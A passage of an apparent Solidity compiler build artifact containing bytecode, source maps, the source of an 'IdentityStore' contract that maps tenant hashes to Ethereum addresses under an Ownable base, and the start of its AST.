0206060604051908101604052908160008201546000191660001916815260200160018201548152602001600282018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561072f5780601f106107045761010080835404028352916020019161072f565b820191906000526020600020905b81548152906001019060200180831161071257829003601f168201915b5050505050815250509050846040518082805190602001908083835b602083101515610770578051825260208201915060208101905060208303925061074b565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390206000191681604001516040518082805190602001908083835b6020831015156107db57805182526020820191506020810190506020830392506107b6565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390206000191614151561081c5760009150610836565b82816020015110156108315760009150610836565b600191505b509392505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108be57600080fd5b6108c781611209565b50565b600080600102600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154600019161415610926576000905061092b565b600190505b919050565b60008060026000846000191660001916815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156109945760009050610999565b600190505b919050565b60006109a8611303565b6109b0611303565b6109b986610930565b1515610a2d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f4f6c64206861736820646f6573206e6f742065786973742e000000000000000081525060200191505060405180910390fd5b610a3685610930565b151515610aab576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f4e6577206861736820697320616c726561647920726567697374657265642e0081525060200191505060405180910390fd5b60026000876000191660001916815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169250600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206060604051908101604052908160008201546000191660001916815260200160018201548152602001600282018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610be95780601f10610bbe57610100808354040283529160200191610be9565b820191906000526020600020905b815481529060010190602001808311610bcc57829003601f168201915b5050505050815250509150606060405190810160405280866000191681526020018581526020018360400151815250905080600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000190600019169055602082015181600101556040820151816002019080519060200190610c90929190611328565b5090505060026000876000191660001916815260200190815260200160002060006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690558260026000876000191660001916815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050505050565b610d3c611303565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d9757600080fd5b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206060604051908101604052908160008201546000191660001916815260200160018201548152602001600282018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e975780601f10610e6c57610100808354040283529160200191610e97565b820191906000526020600020905b815481529060010190602001808311610e7a57829003601f168201915b5050505050815250509050610eab826108ca565b151515610f46576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602f8152602001807f5468657265277320616c726561647920616e206163636f756e7420746965642081526020017f746f20746869732061646472657373000000000000000000000000000000000081525060400191505060405180910390fd5b610f4f836108ca565b1515610fe9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602d8152602001807f54686572652773206e6f206163636f756e74207469656420746f20746865206181526020017f646472657373206f726967696e0000000000000000000000000000000000000081525060400191505060405180910390fd5b816002600083600001516000191660001916815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082015181600001906000191690556020820151816001015560408201518160020190805190602001906110bd929190611328565b50905050600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600080820160009055600182016000905560028201600061112191906113a8565b5050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561118357600080fd5b806001600060026000866000191660001916815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561124557600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6060604051908101604052806000801916815260200160008152602001606081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061136957805160ff1916838001178555611397565b82800160010185558215611397579182015b8281111561139657825182559160200191906001019061137b565b5b5090506113a491906113f0565b5090565b50805460018160011615610100020316600290046000825580601f106113ce57506113ed565b601f0160209004906000526020600020908101906113ec91906113f0565b5b50565b61141291905b8082111561140e5760008160009055506001016113f6565b5090565b905600a165627a7a723058207c67c458c4169c933a8ba606e6b48c72b5bf593805c8b855dcff2fdc024365950029",
"sourceMap": "1687:4196:0:-;;;575:10;567:5;;:18;;;;;;;;;;;;;;;;;;1687:4196;;;;;;",
"deployedSourceMap": "1687:4196:0:-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1955:1283;;8:9:-1;5:2;;;30:1;27;20:12;5:2;1955:1283:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1001:111;;8:9:-1;5:2;;;30:1;27;20:12;5:2;1001:111:0;;;;;;3244:619;;8:9:-1;5:2;;;30:1;27;20:12;5:2;3244:619:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;238:20;;8:9:-1;5:2;;;30:1;27;20:12;5:2;238:20:0;;;;;;;;;;;;;;;;;;;;;;;;;;;1274:103;;8:9:-1;5:2;;;30:1;27;20:12;5:2;1274:103:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;1955:1283;2250:19;;:::i;:::-;2601:15;2892:18;719:5;;;;;;;;;;;705:19;;:10;:19;;;697:28;;;;;;;;2152:31;2170:12;2152:17;:31::i;:::-;2151:32;:70;;;;;2188:33;2209:11;2188:20;:33::i;:::-;2187:34;2151:70;2147:313;;;2272:40;;;;;;;;;2277:11;2272:40;;;;;;;2290:10;2272:40;;;;2302:9;2272:40;;;2250:62;;2363:7;2326:20;:34;2347:12;2326:34;;;;;;;;;;;;;;;:44;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;2417:12;2384:17;:30;2402:11;2384:30;;;;;;;;;;;;;;;;;;:45;;;;;;;;;;;;;;;;;;2443:7;;2147:313;2503:31;2521:12;2503:17;:31::i;:::-;:69;;;;;2539:33;2560:11;2539:20;:33::i;:::-;2538:34;2503:69;2499:254;;;2619:20;:34;2640:12;2619:34;;;;;;;;;;;;;;;:45;;;2601:63;;2678:44;2689:7;2698:11;2711:10;2678;:44::i;:::-;2736:7;;2499:254;2807:33;2828:11;2807:20;:33::i;:::-;:69;;;;;2845:31;2863:12;2845:17;:31::i;:::-;2844:32;2807:69;2803:224;;;2913:17;:30;2931:11;2913:30;;;;;;;;;;;;;;;;;;;;;;;;;;;2892:51;;2957:39;2971:10;2983:12;2957:13;:39::i;:::-;3010:7;;2803:224;3077:33;3098:11;3077:20;:33::i;:::-;:68;;;;;3114:31;3132:12;3114:17;:31::i;:::-;3077:68;3073:159;;;3161:40;3177:11;3190:10;3161:15;:40::i;:::-;3215:7;;3073:159;731:1;1955:1283;;;;;;;:::o;1001:111::-;719:5;;;;;;;;;;;705:19;;:10;:19;;;697:28;;;;;;;;1077:5;;;;;;;;;;;1058:25;;;;;;;;;;;;1105:1;1089:5;;:18;;;;;;;;;;;;;;;;;;1001:111::o;3244:619::-;3370:4;3502:23;;:::i;:::-;3422:31;3440:12;3422:17;:31::i;:::-;3421:32;3418:74;;;3476:5;3469:12;;;;3418:74;3528:20;:34;3549:12;3528:34;;;;;;;;;;;;;;;3502:60;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3654:9;3644:20;;;;;;;;;;;;;36:153:-1;66:2;61:3;58:11;51:19;36:153;;;182:3;176:10;171:3;164:23;98:2;93:3;89:12;82:19;;123:2;118:3;114:12;107:19;;148:2;143:3;139:12;132:19;;36:153;;;274:1;267:3;263:2;259:12;254:3;250:22;246:30;315:4;311:9;305:3;299:10;295:26;356:4;350:3;344:10;340:21;389:7;380;377:20;372:3;365:33;3:399;;;3644:20:0;;;;;;;;;;;;;;;;3609:55;;;3619:11;:20;;;3609:31;;;;;;;;;;;;;36:153:-1;66:2;61:3;58:11;51:19;36:153;;;182:3;176:10;171:3;164:23;98:2;93:3;89:12;82:19;;123:2;118:3;114:12;107:19;;148:2;143:3;139:12;132:19;;36:153;;;274:1;267:3;263:2;259:12;254:3;250:22;246:30;315:4;311:9;305:3;299:10;295:26;356:4;350:3;344:10;340:21;389:7;380;377:20;372:3;365:33;3:399;;;3609:31:0;;;;;;;;;;;;;;;;:55;;;;;3606:97;;;3687:5;3680:12;;;;3606:97;3783:13;3759:11;:21;;;:37;3756:79;;;3819:5;3812:12;;;;3756:79;3852:4;3845:11;;3244:619;;;;;;;:::o;238:20::-;;;;;;;;;;;;;:::o;1274:103::-;719:5;;;;;;;;;;;705:19;;:10;:19;;;697:28;;;;;;;;1343:29;1362:9;1343:18;:29::i;:::-;1274:103;:::o;5424:211::-;5494:4;5568:1;5520:49;;:20;:33;5541:11;5520:33;;;;;;;;;;;;;;;:44;;;:49;;;;5517:91;;;5592:5;5585:12;;;;5517:91;5624:4;5617:11;;5424:211;;;;:::o;5641:240::-;5713:4;5814:1;5781:17;:29;5799:10;5781:29;;;;;;;;;;;;;;;;;;;;;;;;;;;:34;;;5778:76;;;5838:5;5831:12;;;;5778:76;5870:4;5863:11;;5641:240;;;;:::o;3869:792::-;4154:22;4216:23;;:::i;:::-;4288;;:::i;:::-;4000:30;4021:8;4000:20;:30::i;:::-;3992:67;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4078:30;4099:8;4078:20;:30::i;:::-;4077:31;4069:75;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4179:17;:27;4197:8;4179:27;;;;;;;;;;;;;;;;;;;;;;;;;;;4154:52;;4242:20;:36;4263:14;4242:36;;;;;;;;;;;;;;;4216:62;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4314:48;;;;;;;;;4319:8;4314:48;;;;;;;4329:10;4314:48;;;;4341:11;:20;;;4314:48;;;4288:74;;4454:11;4415:20;:36;4436:14;4415:36;;;;;;;;;;;;;;;:50;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;4529:17;:27;4547:8;4529:27;;;;;;;;;;;;;;;;;;4522:34;;;;;;;;;;;4640:14;4610:17;:27;4628:8;4610:27;;;;;;;;;;;;;;;;;;:44;;;;;;;;;;;;;;;;;;3869:792;;;;;;:::o;4667:568::-;4767:24;;:::i;:::-;719:5;;;;;;;;;;;705:19;;:10;:19;;;697:28;;;;;;;;4794:20;:36;4815:14;4794:36;;;;;;;;;;;;;;;4767:63;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4858:33;4876:14;4858:17;:33::i;:::-;4857:34;4849:94;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4961:33;4979:14;4961:17;:33::i;:::-;4953:91;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5100:14;5055:17;:42;5073:12;:23;;;5055:42;;;;;;;;;;;;;;;;;;:59;;;;;;;;;;;;;;;;;;5163:12;5124:20;:36;5145:14;5124:36;;;;;;;;;;;;;;;:51;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;5192:20;:36;5213:14;5192:36;;;;;;;;;;;;;;;;5185:43;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;4667:568;;;:::o;5241:177::-;719:5;;;;;;;;;;;705:19;;:10;:19;;;697:28;;;;;;;;5401:10;5336:20;:52;5357:17;:30;5375:11;5357:30;;;;;;;;;;;;;;;;;;;;;;;;;;;5336:52;;;;;;;;;;;;;;;:62;;:75;;;;5241:177;;:::o;1512:171::-;1603:1;1582:23;;:9;:23;;;;1574:32;;;;;;;;1645:9;1617:38;;1638:5;;;;;;;;;;;1617:38;;;;;;;;;;;;1669:9;1661:5;;:17;;;;;;;;;;;;;;;;;;1512:171;:::o;1687:4196::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;:::o;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;:::o;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o",
"source": "pragma solidity ^0.4.24;\n\n\n/**\n * @title Ownable\n * @dev The Ownable contract has an owner address, and provides basic authorization control\n * functions, this simplifies the implementation of \"user permissions\".\n */\ncontract Ownable {\n address public owner;\n\n\n event OwnershipRenounced(address indexed previousOwner);\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n\n /**\n * @dev The Ownable constructor sets the original `owner` of the contract to the sender\n * account.\n */\n constructor() public {\n owner = msg.sender;\n }\n\n /**\n * @dev Throws if called by any account other than the owner.\n */\n modifier onlyOwner() {\n require(msg.sender == owner);\n _;\n }\n\n /**\n * @dev Allows the current owner to relinquish control of the contract.\n * @notice Renouncing to ownership will leave the contract without an owner.\n * It will not be possible to call the functions with the `onlyOwner`\n * modifier anymore.\n */\n function renounceOwnership() public onlyOwner {\n emit OwnershipRenounced(owner);\n owner = address(0);\n }\n\n /**\n * @dev Allows the current owner to transfer control of the contract to a newOwner.\n * @param _newOwner The address to transfer ownership to.\n */\n function transferOwnership(address _newOwner) public onlyOwner {\n _transferOwnership(_newOwner);\n }\n\n /**\n * @dev Transfers control of the contract to a newOwner.\n * @param _newOwner The address to transfer ownership to.\n */\n function _transferOwnership(address _newOwner) internal {\n require(_newOwner != address(0));\n emit OwnershipTransferred(owner, _newOwner);\n owner = _newOwner;\n }\n}\n\ncontract IdentityStore is Ownable {\n \n struct User {\n bytes32 tenantHash;\n uint256 timestamp;\n string tenantId;\n }\n\n mapping(address => User) private tenantAddressMapping;\n mapping(bytes32 => address) private tenantHashMapping; \n\n function setTenant(\n bytes32 _tenantHash,\n address _userAddress,\n uint256 _timestamp,\n string _tenantId) onlyOwner public {\n\n // Completely new user\n if (!userAddressExists(_userAddress) && !userTenantHashExists(_tenantHash)) {\n \n User memory newUser = User(_tenantHash, _timestamp, _tenantId);\n tenantAddressMapping[_userAddress] = newUser;\n tenantHashMapping[_tenantHash] = _userAddress;\n return;\n }\n\n // Update user hash.\n if (userAddressExists(_userAddress) && !userTenantHashExists(_tenantHash)) {\n \n bytes32 oldHash = tenantAddressMapping[_userAddress].tenantHash;\n updateHash(oldHash, _tenantHash, _timestamp);\n return;\n }\n \n // Update user address.\n if (userTenantHashExists(_tenantHash) && !userAddressExists(_userAddress)) {\n address oldAddress = tenantHashMapping[_tenantHash];\n updateAddress(oldAddress, _userAddress);\n return;\n }\n \n // Update timestamp\n if (userTenantHashExists(_tenantHash) && userAddressExists(_userAddress)) {\n updateTimestamp(_tenantHash, _timestamp);\n return;\n }\n }\n\n function isValid(\n string _tenantId, \n address _userAddress,\n uint256 _minTimestamp) view public returns(bool) {\n\n // check valid address\n if(!userAddressExists(_userAddress)) {\n return false;\n }\n\n User memory currentUser = tenantAddressMapping[_userAddress];\n\n // check valid tenant id\n if(keccak256(currentUser.tenantId) != keccak256(_tenantId)) {\n return false;\n }\n \n // check minimum timestamp\n if(currentUser.timestamp < _minTimestamp) {\n return false;\n }\n\n return true;\n }\n\n function updateHash(\n bytes32 _oldHash, \n bytes32 _newHash, \n uint256 _timestamp) internal {\n\n require(userTenantHashExists(_oldHash), \"Old hash does not exist.\");\n require(!userTenantHashExists(_newHash), \"New hash is already registered.\");\n address currentAddress = tenantHashMapping[_oldHash];\n User memory oldUserInfo = tenantAddressMapping[currentAddress];\n User memory newUserInfo = User(_newHash, _timestamp, oldUserInfo.tenantId);\n\n // update address mapping to user\n tenantAddressMapping[currentAddress] = newUserInfo;\n\n // delete old hash mapping to address\n delete tenantHashMapping[_oldHash];\n\n // add new hash mapping to address\n tenantHashMapping[_newHash] = currentAddress;\n }\n\n function updateAddress(address oldUserAddress, address newUserAddress) onlyOwner internal {\n User memory existingUser = tenantAddressMapping[oldUserAddress];\n \n require(!userAddressExists(newUserAddress), \"There's already an account tied to this address\");\n require(userAddressExists(oldUserAddress), \"There's no account tied to the address origin\");\n\n tenantHashMapping[existingUser.tenantHash] = newUserAddress;\n tenantAddressMapping[newUserAddress] = existingUser;\n delete tenantAddressMapping[oldUserAddress];\n }\n\n function updateTimestamp(bytes32 _tenantHash, uint256 _timestamp) onlyOwner internal {\n tenantAddressMapping[tenantHashMapping[_tenantHash]].timestamp = _timestamp;\n }\n\n function userAddressExists(address userAddress) view internal returns(bool) { \n if(tenantAddressMapping[userAddress].tenantHash == 0) {\n return false;\n }\n return true;\n }\n\n function userTenantHashExists(bytes32 tenantHash) view internal returns(bool){\n // pray it be who can find the 0X Address\n if(tenantHashMapping[tenantHash] == 0) {\n return false;\n }\n return true;\n }\n}",
"sourcePath": "/Users/fernandolobato/Desktop/Microsoft-Identities-on-the-Ethereum-Blockchain/identity-smart-contract/contracts/IdentityStore_Sample.sol",
"ast": {
"absolutePath": "/Users/fernandolobato/Desktop/Microsoft-Identities-on-the-Ethereum-Blockchain/identity-smart-contract/contracts/IdentityStore_Sample.sol",
"exportedSymbols": {
"IdentityStore": [
428
],
"Ownable": [
85
]
},
"id": 429,
"nodeType": "SourceUnit",
"nodes": [
{
"id": 1,
"literals": [
"solidity",
"^",
"0.4",
".24"
],
"nodeType": "PragmaDirective",
"src": "0:24:0"
},
{
"baseContracts": [],
"contractDependencies": [],
"contractKind": "contract",
"documentation": "@title Ownable\n@dev The Ownable contract has an owner address, and provides basic authorization control\nfunctions, this simplifies the implementation of \"user permissions\".",
"fullyImplemented": true,
"id": 85,
"linearizedBaseContracts": [
85
],
"name": "Ownable",
"nodeType": "ContractDefinition",
"nodes": [
{
"constant": false,
"id": 3,
"name": "owner",
"nodeType": "VariableDeclaration",
"scope": 85,
"src": "238:20:0",
"stateVariable": true,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
},
"typeName": {
"id": 2,
"name": "address",
"nodeType": "ElementaryTypeName",
"src": "238:7:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"value": null,
"visibility": "public"
},
{
"anonymous": false,
"documentation": null,
"id": 7,
"name": "OwnershipRenounced",
"nodeType": "EventDefinition",
"parameters": {
"id": 6,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 5,
"indexed": true,
"name": "previousOwner",
"nodeType": "VariableDeclaration",
"scope": 7,
"src": "289:29:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
},
"typeName": {
"id": 4,
"name": "address",
"nodeType": "ElementaryTypeName",
"src": "289:7:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"value": null,
"visibility": "internal"
}
],
"src": "288:31:0"
},
"src": "264:56:0"
},
{
"anonymous": false,
"documentation": null,
"id": 13,
"name": "OwnershipTransferred",
"nodeType": "EventDefinition",
"parameters": {
"id": 12,
"nodeType": "ParameterList",
"parameters": [
{
"constant": false,
"id": 9,
"indexed": true,
"name": "previousOwner",
"nodeType": "VariableDeclaration",
"scope": 13,
"src": "355:29:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
},
"typeName": {
"id": 8,
"name": "address",
"nodeType": "ElementaryTypeName",
"src": "355:7:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"value": null,
"visibility": "internal"
},
{
"constant": false,
"id": 11,
"indexed": true,
"name": "newOwner",
"nodeType": "VariableDeclaration",
"scope": 13,
"src": "390:24:0",
"stateVariable": false,
"storageLocation": "default",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
},
"typeName": {
"id": 10,
"name": "address",
"nodeType": "ElementaryTypeName",
"src": "390:7:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"value": null,
"visibility": "internal"
}
],
"src": "349:69:0"
},
"src": "323:96:0"
},
{
"body": {
"id": 21,
"nodeType": "Block",
"src": "561:29:0",
"statements": [
{
"expression": {
"argumentTypes": null,
"id": 19,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"leftHandSide": {
"argumentTypes": null,
"id": 16,
"name": "owner",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 3,
"src": "567:5:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"nodeType": "Assignment",
"operator": "=",
"rightHandSide": {
"argumentTypes": null,
"expression": {
"argumentTypes": null,
"id": 17,
"name": "msg",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 529,
"src": "575:3:0",
"typeDescriptions": {
"typeIdentifier": "t_magic_message",
"typeString": "msg"
}
},
"id": 18,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"memberName": "sender",
"nodeType": "MemberAccess",
"referencedDeclaration": null,
"src": "575:10:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"src": "567:18:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"id": 20,
"nodeType": "ExpressionStatement",
"src": "567:18:0"
}
]
},
"documentation": "@dev The Ownable constructor sets the original `owner` of the contract to the sender\naccount.",
"id": 22,
"implemented": true,
"isConstructor": true,
"isDeclaredConst": false,
"modifiers": [],
"name": "",
"nodeType": "FunctionDefinition",
"parameters": {
"id": 14,
"nodeType": "ParameterList",
"parameters": [],
"src": "551:2:0"
},
"payable": false,
"returnParameters": {
"id": 15,
"nodeType": "ParameterList",
"parameters": [],
"src": "561:0:0"
},
"scope": 85,
"src": "540:50:0",
"stateMutability": "nonpayable",
"superFunction": null,
"visibility": "public"
},
{
"body": {
"id": 32,
"nodeType": "Block",
"src": "691:46:0",
"statements": [
{
"expression": {
"argumentTypes": null,
"arguments": [
{
"argumentTypes": null,
"commonType": {
"typeIdentifier": "t_address",
"typeString": "address"
},
"id": 28,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"leftExpression": {
"argumentTypes": null,
"expression": {
"argumentTypes": null,
"id": 25,
"name": "msg",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 529,
"src": "705:3:0",
"typeDescriptions": {
"typeIdentifier": "t_magic_message",
"typeString": "msg"
}
},
"id": 26,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"memberName": "sender",
"nodeType": "MemberAccess",
"referencedDeclaration": null,
"src": "705:10:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"nodeType": "BinaryOperation",
"operator": "==",
"rightExpression": {
"argumentTypes": null,
"id": 27,
"name": "owner",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 3,
"src": "719:5:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"src": "705:19:0",
"typeDescriptions": {
"typeIdentifier": "t_bool",
"typeString": "bool"
}
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_bool",
"typeString": "bool"
}
],
"id": 24,
"name": "require",
"nodeType": "Identifier",
"overloadedDeclarations": [
532,
533
],
"referencedDeclaration": 532,
"src": "697:7:0",
"typeDescriptions": {
"typeIdentifier": "t_function_require_pure$_t_bool_$returns$__$",
"typeString": "function (bool) pure"
}
},
"id": 29,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "697:28:0",
"typeDescriptions": {
"typeIdentifier": "t_tuple$__$",
"typeString": "tuple()"
}
},
"id": 30,
"nodeType": "ExpressionStatement",
"src": "697:28:0"
},
{
"id": 31,
"nodeType": "PlaceholderStatement",
"src": "731:1:0"
}
]
},
"documentation": "@dev Throws if called by any account other than the owner.",
"id": 33,
"name": "onlyOwner",
"nodeType": "ModifierDefinition",
"parameters": {
"id": 23,
"nodeType": "ParameterList",
"parameters": [],
"src": "688:2:0"
},
"src": "670:67:0",
"visibility": "internal"
},
{
"body": {
"id": 48,
"nodeType": "Block",
"src": "1047:65:0",
"statements": [
{
"eventCall": {
"argumentTypes": null,
"arguments": [
{
"argumentTypes": null,
"id": 39,
"name": "owner",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 3,
"src": "1077:5:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_address",
"typeString": "address"
}
],
"id": 38,
"name": "OwnershipRenounced",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 7,
"src": "1058:18:0",
"typeDescriptions": {
"typeIdentifier": "t_function_event_nonpayable$_t_address_$returns$__$",
"typeString": "function (address)"
}
},
"id": 40,
"isConstant": false,
"isLValue": false,
"isPure": false,
"kind": "functionCall",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "1058:25:0",
"typeDescriptions": {
"typeIdentifier": "t_tuple$__$",
"typeString": "tuple()"
}
},
"id": 41,
"nodeType": "EmitStatement",
"src": "1053:30:0"
},
{
"expression": {
"argumentTypes": null,
"id": 46,
"isConstant": false,
"isLValue": false,
"isPure": false,
"lValueRequested": false,
"leftHandSide": {
"argumentTypes": null,
"id": 42,
"name": "owner",
"nodeType": "Identifier",
"overloadedDeclarations": [],
"referencedDeclaration": 3,
"src": "1089:5:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"nodeType": "Assignment",
"operator": "=",
"rightHandSide": {
"argumentTypes": null,
"arguments": [
{
"argumentTypes": null,
"hexValue": "30",
"id": 44,
"isConstant": false,
"isLValue": false,
"isPure": true,
"kind": "number",
"lValueRequested": false,
"nodeType": "Literal",
"src": "1105:1:0",
"subdenomination": null,
"typeDescriptions": {
"typeIdentifier": "t_rational_0_by_1",
"typeString": "int_const 0"
},
"value": "0"
}
],
"expression": {
"argumentTypes": [
{
"typeIdentifier": "t_rational_0_by_1",
"typeString": "int_const 0"
}
],
"id": 43,
"isConstant": false,
"isLValue": false,
"isPure": true,
"lValueRequested": false,
"nodeType": "ElementaryTypeNameExpression",
"src": "1097:7:0",
"typeDescriptions": {
"typeIdentifier": "t_type$_t_address_$",
"typeString": "type(address)"
},
"typeName": "address"
},
"id": 45,
"isConstant": false,
"isLValue": false,
"isPure": true,
"kind": "typeConversion",
"lValueRequested": false,
"names": [],
"nodeType": "FunctionCall",
"src": "1097:10:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"src": "1089:18:0",
"typeDescriptions": {
"typeIdentifier": "t_address",
"typeString": "address"
}
},
"id": 47,
"nodeType": "ExpressionStatement",
"src": "1089:18:0"
}
]
},
"documentation": "@dev Allows the current owner to relinquish control of the contract.\n@notice Renouncing to ownership will leave the contract without an owner.\nIt will not be possible to call the functions with the `onlyOwner`\nmodifier anymore.",
"id": 49,
"implemented": true,
"isConstructor": false,
"isDeclaredConst": false,
